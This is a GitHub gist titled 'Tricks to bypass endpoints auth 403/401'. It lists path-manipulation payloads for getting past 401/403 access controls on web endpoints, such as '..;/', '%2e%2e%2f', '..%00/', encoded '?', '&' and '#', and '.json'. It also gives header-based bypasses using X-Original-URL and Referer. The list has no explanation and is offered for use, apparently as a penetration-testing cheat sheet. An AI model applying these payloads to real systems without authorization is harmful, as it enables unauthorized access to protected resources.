Skip to content

Instantly share code, notes, and snippets.

@ricsirigu

ricsirigu/bypass-auth-endpoints.txt

Created October 17, 2020 08:13
Show Gist options
  • Save ricsirigu/cc5addff0121393eaf83f8258e70c21e to your computer and use it in GitHub Desktop.
Save ricsirigu/cc5addff0121393eaf83f8258e70c21e to your computer and use it in GitHub Desktop.
Download ZIP
Tricks to bypass endpoints auth 403/401
Raw
bypass-auth-endpoints.txt
Payloads for basic tests
?
??
&
#
%
%20
%09
/
/..;/
../
..%2f
..;/
../
\..\.\
.././
..%00/
..%0d/
..%5c
..\
..%ff/
%2e%2e%2f
.%2e/
%3f
%26
%23
.json
HTTP Header based bypass
1. X-Original-URL: /redacted
2. Referer: https://site.com/api/redacted
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment